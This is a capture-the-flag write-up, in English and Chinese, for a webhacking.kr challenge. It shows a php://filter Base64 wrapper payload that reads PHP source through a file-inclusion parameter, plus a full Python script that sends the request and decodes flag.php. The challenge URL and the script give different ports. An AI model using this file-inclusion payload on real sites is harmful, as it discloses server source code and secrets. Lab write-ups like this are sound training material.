Challenge
Read the flag source through the file parameter.
通过 file 参数读取 flag 源码。
1
| http://webhacking.kr:10001/
|
Analysis
file 参数进入 PHP 的文件包含路径,服务端会在资源名后补上
.php。直接包含 flag 会执行其中的
PHP;把路径改成
php://filter/convert.base64-encode/resource=flag 后,PHP
先读取 flag.php,再将源码编码为
Base64,源码内容不会被执行。
Solution
完整请求脚本如下。它从响应中提取 Base64
字符串并尝试解码,直到找到包含 PHP flag 变量的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import base64 import re
import requests
URL = "http://webhacking.kr:10017/" FILTER_PATH = "php://filter/convert.base64-encode/resource=flag"
def decode_source(response_text: str) -> str: candidates = re.findall(r"[A-Za-z0-9+/]{20,}={0,2}", response_text) for token in candidates: padded = token + "=" * (-len(token) % 4) try: decoded = base64.b64decode(padded, validate=True).decode( "utf-8", errors="replace" ) except (ValueError, UnicodeError): continue if "$flag" in decoded or "FLAG{" in decoded: return decoded raise RuntimeError("response did not contain decodable flag source")
def main() -> None: response = requests.get( URL, params={"file": FILTER_PATH}, timeout=20, ) response.raise_for_status() print(decode_source(response.text))
if __name__ == "__main__": main()
|
从响应中读取并解码 flag.php 源码后,将其中的 flag
填入认证表单。
服务端响应模板变化时,应先从响应中定位实际 Base64 内容。